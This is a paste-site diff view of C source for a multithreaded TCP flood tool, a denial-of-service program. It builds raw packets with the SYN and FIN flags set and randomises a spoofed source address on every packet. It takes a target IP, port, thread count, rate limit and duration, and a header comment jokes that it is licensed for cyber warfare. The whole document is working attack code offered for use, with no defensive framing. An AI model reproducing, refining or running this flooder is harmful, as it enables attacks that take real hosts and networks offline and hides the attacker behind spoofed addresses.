View difference between Paste ID: c5RUkuXj and naMZ9ksR
SHOW: | | - or go back to the newest paste.
1
/*
2
 * This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
3
 */
4
#include <unistd.h>
5
#include <time.h>
6
#include <sys/types.h>
7
#include <sys/socket.h>
8
#include <sys/ioctl.h>
9
#include <string.h>
10
#include <stdlib.h>
11
#include <stdio.h>
12
#include <pthread.h>
13
#include <netinet/tcp.h>
14
#include <netinet/ip.h>
15
#include <netinet/in.h>
16
#include <netinet/if_ether.h>
17
#include <netdb.h>
18
#include <net/if.h>
19
#include <arpa/inet.h>
20
#define MAX_PACKET_SIZE 4096
21
#define PHI 0x9e3779b9
22
static unsigned long int Q[4096], c = 362436;
23
static unsigned int floodport;
24
volatile int limiter;
25
volatile unsigned int pps;
26
volatile unsigned int sleeptime = 100;
27
void init_rand(unsigned long int x)
28
{
29
	int i;
30
	Q[0] = x;
31
	Q[1] = x + PHI;
32
	Q[2] = x + PHI + PHI;
33
	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
34
}
35
unsigned long int rand_cmwc(void)
36
{
37
	unsigned long long int t, a = 18782LL;
38
	static unsigned long int i = 4095;
39
	unsigned long int x, r = 0xfffffffe;
40
	i = (i + 1) & 4095;
41
	t = a * Q[i] + c;
42
	c = (t >> 32);
43
	x = t + c;
44
	if (x < c) {
45
	x++;
46
	c++;
47
	}
48
	return (Q[i] = r - x);
49
}
50
unsigned short csum (unsigned short *buf, int count)
51
{
52
	register unsigned long sum = 0;
53
	while( count > 1 ) { sum += *buf++; count -= 2; }
54
	if(count > 0) { sum += *(unsigned char *)buf; }
55
	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
56
	return (unsigned short)(~sum);
57
}
58
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
59
	struct tcp_pseudo
60
	{
61
	unsigned long src_addr;
62
	unsigned long dst_addr;
63
	unsigned char zero;
64
	unsigned char proto;
65
	unsigned short length;
66
	} pseudohead;
67
	unsigned short total_len = iph->tot_len;
68
	pseudohead.src_addr=iph->saddr;
69
	pseudohead.dst_addr=iph->daddr;
70
	pseudohead.zero=0;
71
	pseudohead.proto=IPPROTO_TCP;
72
	pseudohead.length=htons(sizeof(struct tcphdr));
73
	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
74
	unsigned short *tcp = malloc(totaltcp_len);
75
	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
76
	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
77
	unsigned short output = csum(tcp,totaltcp_len);
78
	free(tcp);
79
	return output;
80
}
81
82
void setup_ip_header(struct iphdr *iph)
83
{
84
	iph->ihl = 5;
85
	iph->version = 4;
86
	iph->tos = 0;
87
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
88
	iph->id = htonl(54321);
89
	iph->frag_off = 0;
90
	iph->ttl = MAXTTL;
91
	iph->protocol = 6;
92
	iph->check = 0;
93
	iph->saddr = inet_addr("192.168.3.100");
94
}
95
96
void setup_tcp_header(struct tcphdr *tcph)
97
{
98
	tcph->source = htons(5678);
99
	tcph->seq = rand();
100
	tcph->ack_seq = rand();
101
	tcph->res2 = 0;
102
	tcph->doff = 5;
103
	tcph->syn = 1;
104
	tcph->fin = 1;
105
	tcph->window = rand();
106
	tcph->check = 0;
107
	tcph->urg_ptr = 0;
108
}
109
void *flood(void *par1)
110
{
111
	char *td = (char *)par1;
112
	char datagram[MAX_PACKET_SIZE];
113
	struct iphdr *iph = (struct iphdr *)datagram;
114
	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
115
	struct sockaddr_in sin;
116
	sin.sin_family = AF_INET;
117
	sin.sin_port = htons(floodport);
118
	sin.sin_addr.s_addr = inet_addr(td);
119
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
120
	if(s < 0){
121
	fprintf(stderr, "Could not open raw socket.\n");
122
	exit(-1);
123
	}
124
	memset(datagram, 0, MAX_PACKET_SIZE);
125
	setup_ip_header(iph);
126
	setup_tcp_header(tcph);
127
	tcph->dest = htons(floodport);
128
	iph->daddr = sin.sin_addr.s_addr;
129
	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
130
	int tmp = 1;
131
	const int *val = &tmp;
132
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
133
	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
134
	exit(-1);
135
	}
136
	init_rand(time(NULL));
137
	register unsigned int i;
138
	i = 0;
139
	while(1){
140
	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
141
	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
142
	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
143
	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
144
	tcph->seq = rand_cmwc() & 0xFFFF;
145
	tcph->source = htons(rand_cmwc() & 0xFFFF);
146
	tcph->check = 0;
147
	tcph->check = tcpcsum(iph, tcph);
148
	pps++;
149
	if(i >= limiter)
150
	{
151
	i = 0;
152
	usleep(sleeptime);
153
	}
154
	i++;
155
	}
156
}
157
int main(int argc, char *argv[ ])
158
{
159
	if(argc < 6){
160
	fprintf(stderr, "Invalid parameters!\n");
161
	fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
162
	exit(-1);
163
	}
164
	fprintf(stdout, "Setting up Sockets...\n");
165
	int num_threads = atoi(argv[3]);
166
	floodport = atoi(argv[2]);
167
	int maxpps = atoi(argv[4]);
168
	limiter = 0;
169
	pps = 0;
170
	pthread_t thread[num_threads];
171
	int multiplier = 20;
172
	int i;
173
	for(i = 0;i<num_threads;i++){
174
	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
175
	}
176
	fprintf(stdout, "Starting Flood...\n");
177
	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
178
	{
179
		usleep((1000/multiplier)*1000);
180
		if((pps*multiplier) > maxpps)
181
		{
182
			if(1 > limiter)
183
			{
184
				sleeptime+=100;
185
			} else {
186
				limiter--;
187
			}
188
		} else {
189
			limiter++;
190
			if(sleeptime > 25)
191
			{
192
				sleeptime-=25;
193
			} else {
194
				sleeptime = 0;
195
			}
196
		}
197
		pps = 0;
198
	}
199
200
	return 0;
201
}